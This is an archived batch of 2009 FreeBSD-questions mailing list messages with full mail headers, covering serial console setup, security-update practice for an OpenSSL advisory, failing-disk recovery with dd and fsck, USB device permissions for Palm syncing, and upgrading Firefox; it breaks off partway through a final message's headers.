AB03429613; Wed, 26 Aug 2009 19:41:26 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v1075.2) Content-Type: text/plain; charset=us-ascii; format=flowed From: Thomas Backman In-Reply-To: <200908261612.n7QGCmjD063503@lava.sentex.ca> Date: Wed, 26 Aug 2009 19:41:23 +0200 Content-Transfer-Encoding: 7bit Message-Id: <18DDB859-7AA2-469F-ABC8-0556B94FCBE1@exscape.org> References: <200908261612.n7QGCmjD063503@lava.sentex.ca> To: Mike Tancsa X-Mailer: Apple Mail (2.1075.2) X-Originating-IP: 83.253.252.234 X-Scan-Result: No virus found in message 1MgMUz-00081P-42. X-Scan-Signature: ch-smtp01.sth.basefarm.net 1MgMUz-00081P-42 cb1b2621c4ec59c1486d89094d4f6296 Cc: FreeBSD current , freebsd-questions@freebsd.org Subject: Re: Serial console trouble: loader and login works, but no kernel messages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 17:41:57 -0000 On Aug 26, 2009, at 18:16, Mike Tancsa wrote: > Or, if you want to use loader.conf, try > > hw.uart.console="io:0x3f8" > > ---Mike That solved it! Thanks a lot!! :) Regards, Thomas From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 17:44:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D2EB81065692 for ; Wed, 26 Aug 2009 17:44:06 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id 9A5008FC25 for ; Wed, 26 Aug 2009 17:44:06 +0000 (UTC) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id n7QHeTD1023960; Wed, 26 Aug 2009 13:40:29 -0400 (EDT) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id n7QHeT7Q023959; Wed, 26 Aug 2009 13:40:29 -0400 (EDT) (envelope-from jerrymc) Date: Wed, 26 Aug 2009 13:40:29 -0400 From: Jerry McAllister To: Jason Message-ID: <20090826174029.GC23872@gizmo.acns.msu.edu> References: <20090826160816.GA35964@eggman.experts-exchange.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090826160816.GA35964@eggman.experts-exchange.com> User-Agent: Mutt/1.4.2.2i Cc: freebsd-questions@freebsd.org Subject: Re: question about security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 17:44:06 -0000 On Wed, Aug 26, 2009 at 09:08:17AM -0700, Jason wrote: > I was wondering in the case of openssl: > > http://security.freebsd.org/advisories/FreeBSD-SA-09:08.openssl.asc > > Corrected: 2009-04-22 14:07:14 UTC (RELENG_7, 7.2-PRERELEASE) > 2009-04-22 14:07:14 UTC (RELENG_7_2, 7.2-RC2) > 2009-04-22 14:07:14 UTC (RELENG_7_1, 7.1-RELEASE-p5) > 2009-04-22 14:07:14 UTC (RELENG_7_0, 7.0-RELEASE-p12) > 2009-04-22 14:07:14 UTC (RELENG_6, 6.4-STABLE) > 2009-04-22 14:07:14 UTC (RELENG_6_4, 6.4-RELEASE-p4) > 2009-04-22 14:07:14 UTC (RELENG_6_3, 6.3-RELEASE-p10) > CVE Name: CVE-2009-0590 > > > I see that in release 7_2, that this was corrected. Does this mean that > if I were to download the 7.2 iso, that this patch would already be applied > to this release? It would not be in the ISO. That does not get changed after it is released. But if you do an update (CSUP) to RELENG_7_2 eg put the line *default tag=RELENG_7_2 in your supfile, then that will download the security updates. You then need to do the builds as it tells in the handbook. Make sure you read and understand the procedures in the handbook. It will all work just fine. I have done it many times. But, don't try to shortcut or make guesses about the procedures in the handbook. Then you will be off in space and it will leave something screwed up. That is why the handbook was written and one of the things that makes FreeBSD superior. ////jerry > > To me, it seems that anything that isn't *-RELEASE-p? would be applied to > the distributed iso, but I could be wrong. > > Thanks, > Jason > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 18:07:43 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F12FF106564A for ; Wed, 26 Aug 2009 18:07:43 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr10.xs4all.nl (smtp-vbr10.xs4all.nl [194.109.24.30]) by mx1.freebsd.org (Postfix) with ESMTP id 85F9F8FC19 for ; Wed, 26 Aug 2009 18:07:43 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr10.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7QI7ggq030134; Wed, 26 Aug 2009 20:07:42 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id 02972BA9D; Wed, 26 Aug 2009 20:07:41 +0200 (CEST) Date: Wed, 26 Aug 2009 20:07:41 +0200 From: Roland Smith To: Kelly Martin Message-ID: <20090826180741.GA23120@slackbox.xs4all.nl> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="r5Pyd7+fXNt84Ff3" Content-Disposition: inline In-Reply-To: <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 18:07:44 -0000 --r5Pyd7+fXNt84Ff3 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Aug 25, 2009 at 11:46:50PM -0600, Kelly Martin wrote: > plugging the drive in and accessing it, I heard those tell-tale signs > of hard drive failure: clicks and pops and other unusual noises, so I > know that it has some damage. I hate those sounds, having heard them > on failing drives too many times before. If the drive is that bad, it is doubtfull if dd or ddrescue will be able to get a good copy. > >> My question: what kind of checks and/or repair tools should I run on > >> the damaged drive after it's mounted? > > > > As others have mentioned, first make a copy (with the disk unmounted) o= f the > > partitions on that disk with dd, saving them to another drive. That way= you > > can experiment with the data without further deterioration of the > > original. >=20 > I ran dd and it took over 20 hours to complete. In fact it just > finished this evening, after running all day. Lots of FAILURE errors > were reported along the way, enough to fill two console screens or > more. And of course to complicate things I didn't have a spare drive > as an output device that was the *same size*, so I used a smaller > drive thinking that it wouldn't matter since the source drive wasn't > full anyway. I have no idea if data is scattered around on the FFS > filesystem such that cloning a mostly empty, larger drive onto > something smaller might lose data... I searched Google and couldn't > find the answer, so I proceeded anyway. It doesn't matter now though, > as I have a new drive now and another plan. Using dd you make a block-for block copy; dd doesn't know about filesystems. You could pipe the output from dd through a compression program like gzip or bzip2. That could yield a smaller image. But you'd have to uncompress it in order to use it. Or you could try just copying the filesystems separately. E.g. copy from ad4s1f instead of the whole ad4. That way you can split the data over sever= al files which you can store in different places. > I'm going to try dd a second time, but this time I'll use ddrescue as > some people suggested and I'll make the target drive an > identical-sized 500 Gbyte drive, which I purchased today. I imagine it > will take a long time to create this cloned disk... hopefully with > fewer errors than dd gave me, though we'll see. =20 I hope you get a good copy, but it doesn't sound too likely. I'm not a hard= ware expert, but if the disk is really breaking down in the hardware or electronics, it is not inconceivable that even reading might further deteriorate it. If you do not get a good 1:1 copy, you'll have extra errors= in your data! Depending on the options you give dd, it will either skip blocks with errors or fill it with zeroes or other characters. See the piece of the manual page of fsck_ufs that describes the 'noerror' conversion. > Indeed some of the partitions seem to be beyond repair. In particular > my /var partition is totally fubar'ed. When using fsck_ffs I got all > sorts of errors when trying to repair the partition, things like: >=20 > BAD SUPER BLOCK: VALUES IN SUPER BLOCK DISAGREE WITH THOSE IN FIRST ALTER= NATE > So I used the -b option suggested in the man page, "fsck_ffs -y -b 160 > /dev/ad0s1d" and it ran and fixed a few things, but then stopped with > the following error: >=20 > fsck_ufs: cannot alloc 4294967292 bytes for inoinfo The meaning of errors is explained in Appendix A of "Fsck - The UNIX File System Check Program". You can find it this as /usr/share/doc/smm/03.fsck/paper.ascii.gz > MySQL databases are normally stored in /var/db/mysql. But then I > remembered my MySQL server was actually running in a Jail environment, > and therefore it was located at /usr/jails/myjail/var/db/mysql instead > of /var/db/mysql, and therefore the jailed MySQL database was on a > totally different partition. Lucky! And I was also very lucky that I > could mount the large /usr partition in read-only mode and copy off > the most critical files I needed, starting with the database. No > errors on that part of the disk so far, at least with the few critical > files I've copied over. Whew! Congratulations! =20 > Until just a few minutes ago I didn't think there'd be a happy ending. > But I've got the most critical data copied over now, the rest can > wait. I'm going to go run dd a second time (well, ddrescue) now and > then start work on the copy once it finishes, in a day or two. Time to start thinking about a solid backup strategy as well. :-) Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --r5Pyd7+fXNt84Ff3 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqVee0ACgkQEnfvsMMhpyVkJQCfUPZJ6/+mKeDEgTVDgzQff5fb vYoAnR0oeOcTeY//jVp+RfwmuIYOdqfc =NSb7 -----END PGP SIGNATURE----- --r5Pyd7+fXNt84Ff3-- From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 18:21:01 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D48B9106568C for ; Wed, 26 Aug 2009 18:21:01 +0000 (UTC) (envelope-from afmcc@btinternet.com) Received: from smtp821.mail.ird.yahoo.com (smtp821.mail.ird.yahoo.com [217.146.188.236]) by mx1.freebsd.org (Postfix) with SMTP id 2924B8FC24 for ; Wed, 26 Aug 2009 18:21:00 +0000 (UTC) Received: (qmail 76192 invoked from network); 26 Aug 2009 17:54:20 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=btinternet.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Date:From:To:Subject:Message-ID:X-Mailer:Mime-Version:Content-Type:Content-Transfer-Encoding; b=SQ7VEp51az4kUxqjL9iv2i5tRO59dRLfSKkPBO5uVXMu7LWNMwXXjgmBHMaoAhoQfwQSV64OpAUHxn76nZ6ckbDpu35PWytx6LooPbF8YTkgs5gf/OBsOtHtzEEHBcokK9HQWmj9gBI85tsV8kqjmfATqiYaYQLB7hDMi56nBF0= ; Received: from unknown (HELO elena) (afmcc@81.151.54.225 with login) by smtp821.mail.ird.yahoo.com with SMTP; 26 Aug 2009 17:54:20 -0000 X-Yahoo-SMTP: SW2apSyswBAt0gNRBekT9336f.by6cx.6GfQeJfVJ_9U X-YMail-OSG: GN0ihIkVM1m9l5M7FkzrBoX9sZSMSjrP3j90Prkt8W._WOXMiHo7KfS0nq0Ge2eJQ8dukM9amVSCH5jetIKBuSBqIWNqlD4fDzZ3zOLHyIqgF1GNfseJrVIBNuMyLiAYftDXQy7jpnE7pQ6YcAQmmK.sxp.5ZwZc259CuhJcHmVIg3.Yd7WymKO_34SuYCg0nhqEXNaVBcAkP8qcxETPNlpP2N8HuYB8NFdvGS03RK6wIQfDNevos6u_eGnV92Z47og5oQTpOEAvfRkngYI_DF0pdqNEKbpmkUXFhud3_ewKs4W_QB_dE5yt56jeDSgEGpcIsA-- X-Yahoo-Newman-Property: ymail-3 Date: Wed, 26 Aug 2009 18:54:25 +0100 From: Tony McC To: freebsd-questions@freebsd.org Message-ID: <20090826185425.1cd3b7d9@elena> X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; amd64-portbld-freebsd8.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Problem syncing Palm TX with jpilot on FreeBSD 8.0-BETA3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 18:21:01 -0000 Hello, I am running FreeBSD 8.0-BETA3 amd64 and am having trouble syncing my Palm TX with jpilot. This used to work with 7.2-STABLE amd64 and I suspect I'm just not using the usb: connection correctly but have not been able to find a solution by searching the archives. I am running a custom kernel with "device uvisor" commented out, though the same problem occurs if I recompile with uvisor included. When I plug in the Palm TX I get the following at the end of dmesg output: ugen0.4: at usbus0 ugen0.4: at usbus0 (disconnected) If I tell jpilot to sync with a Palm at usb: I get the following error message: dlp_OpenConduit() failed Sync canceled Exiting with status SYNC_ERROR_OPEN_CONDUIT Finished. I also have the following in my /etc/devfs.rules: add path 'ugen*' unhide mode 0660 group operator and I am a member of the operator group. What should I set to get hotsync working? Thanks all in anticipation, Tony From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 18:22:52 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 14462106568C for ; Wed, 26 Aug 2009 18:22:51 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr17.xs4all.nl (smtp-vbr17.xs4all.nl [194.109.24.37]) by mx1.freebsd.org (Postfix) with ESMTP id 8ABBD8FC2D for ; Wed, 26 Aug 2009 18:22:51 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr17.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7QIMkVU073733; Wed, 26 Aug 2009 20:22:46 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id E3460BA9D; Wed, 26 Aug 2009 20:22:45 +0200 (CEST) Date: Wed, 26 Aug 2009 20:22:45 +0200 From: Roland Smith To: John Almberg Message-ID: <20090826182245.GB23120@slackbox.xs4all.nl> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="A6N2fC+uXW/VQSAv" Content-Disposition: inline In-Reply-To: X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: freebsd-questions@freebsd.org Subject: Re: Can partitions span more than one drive? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 18:22:52 -0000 --A6N2fC+uXW/VQSAv Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Aug 26, 2009 at 08:45:47AM -0400, John Almberg wrote: > Question: is it possible to just expand my existing /backup partition =20 > to encompass both the current drive and the new drive? I'm guessing =20 > not, since Chapter 8 in "Absolute FreeBSD" says that a partition is =20 > part of a slice, which is part of a physical drive, but maybe some =20 > bright person has come up with an app that overcomes that limitation. You could use gconcat, but you'd have to partition, label and newfs this new combined device which would render your current data unreadable. And on a concatenated disk the risk of failure is increased. If one of the two drives dies, you'll lose all data. If you want to combine disks, use some form of RAID to protect yourself from a dying disk. :-) Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --A6N2fC+uXW/VQSAv Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqVfXUACgkQEnfvsMMhpyUfFgCdG4FYGOCSzEtadfuNJup1bWpt DMQAnjTzqIYtNLjaK6pbCoiCLH0x+75I =DEs6 -----END PGP SIGNATURE----- --A6N2fC+uXW/VQSAv-- From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 18:32:23 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 18FC91065672 for ; Wed, 26 Aug 2009 18:32:23 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr14.xs4all.nl (smtp-vbr14.xs4all.nl [194.109.24.34]) by mx1.freebsd.org (Postfix) with ESMTP id 89EC98FC27 for ; Wed, 26 Aug 2009 18:32:22 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr14.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7QIWKrU039986; Wed, 26 Aug 2009 20:32:20 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id 338A6BA9D; Wed, 26 Aug 2009 20:32:20 +0200 (CEST) Date: Wed, 26 Aug 2009 20:32:20 +0200 From: Roland Smith To: Tony McC Message-ID: <20090826183220.GC23120@slackbox.xs4all.nl> References: <20090826185425.1cd3b7d9@elena> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="4ZLFUWh1odzi/v6L" Content-Disposition: inline In-Reply-To: <20090826185425.1cd3b7d9@elena> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: freebsd-questions@freebsd.org Subject: Re: Problem syncing Palm TX with jpilot on FreeBSD 8.0-BETA3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 18:32:23 -0000 --4ZLFUWh1odzi/v6L Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Aug 26, 2009 at 06:54:25PM +0100, Tony McC wrote: > Hello, >=20 > I am running FreeBSD 8.0-BETA3 amd64 and am having trouble syncing my > Palm TX with jpilot. This used to work with 7.2-STABLE amd64 and I > suspect I'm just not using the usb: connection correctly but have not > been able to find a solution by searching the archives. =20 >=20 > I am running a custom kernel with "device uvisor" commented out, though > the same problem occurs if I recompile with uvisor included.=20 >=20 > When I plug in the Palm TX I get the following at the end of dmesg > output: >=20 > ugen0.4: at usbus0 > ugen0.4: at usbus0 (disconnected) >=20 > If I tell jpilot to sync with a Palm at usb: I get the following error > message: >=20 > dlp_OpenConduit() failed > Sync canceled > Exiting with status SYNC_ERROR_OPEN_CONDUIT > Finished. >=20 > I also have the following in my /etc/devfs.rules: >=20 > add path 'ugen*' unhide mode 0660 group operator >=20 > and I am a member of the operator group. >=20 > What should I set to get hotsync working? I think you have to add the following add path 'usb/*' mode 0660 group operator It seems that the new libusb in 8.x doesn't use the ugen devices anymore, it uses the new /dev/usb/* devices. Adding the above fixed gphoto2 for me on 8-BETA2. Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --4ZLFUWh1odzi/v6L Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqVf7QACgkQEnfvsMMhpyXrQgCgnwv7/Ap/hemS24PolOm/RFPr c1MAnRKLjBcJQWFptcynhMA8Tv2Qaizm =jzAR -----END PGP SIGNATURE----- --4ZLFUWh1odzi/v6L-- From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 18:34:18 2009 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 18115106564A for ; Wed, 26 Aug 2009 18:34:18 +0000 (UTC) (envelope-from peter.piggybox@virgin.net) Received: from mtaout02-winn.ispmail.ntl.com (mtaout02-winn.ispmail.ntl.com [81.103.221.48]) by mx1.freebsd.org (Postfix) with ESMTP id 759ED8FC30 for ; Wed, 26 Aug 2009 18:34:17 +0000 (UTC) Received: from know-smtpout-4.server.virginmedia.net ([62.254.123.4]) by mtaout02-winn.ispmail.ntl.com (InterMail vM.7.08.04.00 201-2186-134-20080326) with ESMTP id <20090826183416.OGZG6611.mtaout02-winn.ispmail.ntl.com@know-smtpout-4.server.virginmedia.net>; Wed, 26 Aug 2009 19:34:16 +0100 Received: from [81.105.212.92] (helo=ideapad.piggybox) by know-smtpout-4.server.virginmedia.net with esmtp (Exim 4.63) (envelope-from ) id 1MgNK4-0007Lp-BV; Wed, 26 Aug 2009 19:34:16 +0100 Received: from ideapad.piggybox (localhost [127.0.0.1]) by ideapad.piggybox (8.14.3/8.14.3) with ESMTP id n7QHXMG5001146; Wed, 26 Aug 2009 18:33:22 +0100 (BST) (envelope-from peter@ideapad.piggybox) Received: (from peter@localhost) by ideapad.piggybox (8.14.3/8.14.3/Submit) id n7QHXMxp001145; Wed, 26 Aug 2009 18:33:22 +0100 (BST) (envelope-from peter) Date: Wed, 26 Aug 2009 18:33:21 +0100 From: Peter Harrison To: Wayne Sierke Message-ID: <20090826173321.GA1115@ideapad.piggybox> References: <20090826103209.GA1127@ideapad.piggybox> <1251296652.9279.1420.camel@predator-ii.buffyverse> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1251296652.9279.1420.camel@predator-ii.buffyverse> User-Agent: Mutt/1.4.2.3i X-Cloudmark-Analysis: v=1.0 c=1 a=6I5d2MoRAAAA:8 a=uHOEJxuh6ProjlDmkW0A:9 a=NjnKJX5a4LLNjiRBED74BojzL-YA:4 a=OsUpksBOSEYA:10 a=hZLV-trOFhsA:10 Cc: questions@freebsd.org, Peter Harrison Subject: Re: Firefox 3.5... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 18:34:18 -0000 Wednesday, 26 August 2009 at 23:54:12 +0930, Wayne Sierke said: > On Wed, 2009-08-26 at 11:32 +0100, Peter Harrison wrote: > > I've Firefox 3.0.11,1 on my 7.2-release system at the moment. Anyone > > offer some advice on moving up to 3.5? > > > > Is it as simple as pkg_delete'ing 3.0 and then installing 3.5? > > > > Thanks for any thoughts. > > Should be, or if you use portupgrade: > > http://lists.freebsd.org/pipermail/freebsd-questions/2009-July/202568.html OK thanks, I'll check that out. Peter. > > > Wayne > > From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 18:35:06 2009 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 98DC0106568E for ; Wed, 26 Aug 2009 18:35:06 +0000 (UTC) (envelope-from peter.piggybox@virgin.net) Received: from mtaout03-winn.ispmail.ntl.com (mtaout03-winn.ispmail.ntl.com [81.103.221.49]) by mx1.freebsd.org (Postfix) with ESMTP id 231348FC27 for ; Wed, 26 Aug 2009 18:35:00 +0000 (UTC) Received: from know-smtpout-2.server.virginmedia.net ([62.254.123.2]) by mtaout03-winn.ispmail.ntl.com (InterMail vM.7.08.04.00 201-2186-134-20080326) with ESMTP id <20090826183453.BTDT5579.mtaout03-winn.ispmail.ntl.com@know-smtpout-2.server.virginmedia.net>; Wed, 26 Aug 2009 19:34:53 +0100 Received: from [81.105.212.92] (helo=ideapad.piggybox) by know-smtpout-2.server.virginmedia.net with esmtp (Exim 4.63) (envelope-from ) id 1MgNKf-0002nf-B5; Wed, 26 Aug 2009 19:34:53 +0100 Received: from ideapad.piggybox (localhost [127.0.0.1]) by ideapad.piggybox (8.14.3/8.14.3) with ESMTP id n7QHXxNn001153; Wed, 26 Aug 2009 18:33:59 +0100 (BST) (envelope-from peter@ideapad.piggybox) Received: (from peter@localhost) by ideapad.piggybox (8.14.3/8.14.3/Submit) id n7QHXxOi001152; Wed, 26 Aug 2009 18:33:59 +0100 (BST) (envelope-from peter) Date: Wed, 26 Aug 2009 18:33:58 +0100 From: Peter Harrison To: "illoai@gmail.com" Message-ID: <20090826173358.GB1115@ideapad.piggybox> References: <20090826103209.GA1127@ideapad.piggybox> <1251296652.9279.1420.camel@predator-ii.buffyverse> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Cloudmark-Analysis: v=1.0 c=1 a=pGLkceISAAAA:8 a=6I5d2MoRAAAA:8 a=WSfA2NMuZYVcWHghRLkA:9 a=Ac9NScXGZHe7TrsqRz0A:7 a=IxAbFrwvr4deADiSWZWCSBV1fesA:4 a=SgZ1oHVZZ2YA:10 a=hZLV-trOFhsA:10 a=MSl-tDqOz04A:10 Cc: questions@freebsd.org, Peter Harrison Subject: Re: Firefox 3.5... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 18:35:06 -0000 Wednesday, 26 August 2009 at 11:55:38 -0400, illoai@gmail.com said: > 2009/8/26 Wayne Sierke : > > On Wed, 2009-08-26 at 11:32 +0100, Peter Harrison wrote: > >> I've Firefox 3.0.11,1 on my 7.2-release system at the moment. Anyone > >> offer some advice on moving up to 3.5? > >> > >> Is it as simple as pkg_delete'ing 3.0 and then installing 3.5? > >> > >> Thanks for any thoughts. > > > > Should be, or if you use portupgrade: > > > > http://lists.freebsd.org/pipermail/freebsd-questions/2009-July/202568.html > > > > 2nd'd. portupgrade -o www/firefox35 firefox\* worked perfectly here. Thanks for confirming. Peter . > > -- > -- From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 18:36:36 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F26B4106568E for ; Wed, 26 Aug 2009 18:36:36 +0000 (UTC) (envelope-from peter.piggybox@virgin.net) Received: from mtaout03-winn.ispmail.ntl.com (mtaout03-winn.ispmail.ntl.com [81.103.221.49]) by mx1.freebsd.org (Postfix) with ESMTP id 5894F8FC2C for ; Wed, 26 Aug 2009 18:36:36 +0000 (UTC) Received: from know-smtpout-3.server.virginmedia.net ([62.254.123.3]) by mtaout03-winn.ispmail.ntl.com (InterMail vM.7.08.04.00 201-2186-134-20080326) with ESMTP id <20090826183635.BUWC5579.mtaout03-winn.ispmail.ntl.com@know-smtpout-3.server.virginmedia.net> for ; Wed, 26 Aug 2009 19:36:35 +0100 Received: from [81.105.212.92] (helo=ideapad.piggybox) by know-smtpout-3.server.virginmedia.net with esmtp (Exim 4.63) (envelope-from ) id 1MgNMJ-0001t8-Cp for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 19:36:35 +0100 Received: from ideapad.piggybox (localhost [127.0.0.1]) by ideapad.piggybox (8.14.3/8.14.3) with ESMTP id n7QHZfFw001165 for ; Wed, 26 Aug 2009 18:35:42 +0100 (BST) (envelope-from peter@ideapad.piggybox) Received: (from peter@localhost) by ideapad.piggybox (8.14.3/8.14.3/Submit) id n7QHZfdq001164 for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 18:35:41 +0100 (BST) (envelope-from peter) Date: Wed, 26 Aug 2009 18:35:41 +0100 From: Peter Harrison To: freebsd-questions@freebsd.org Message-ID: <20090826173541.GC1115@ideapad.piggybox> Mail-Followup-To: freebsd-questions@freebsd.org References: 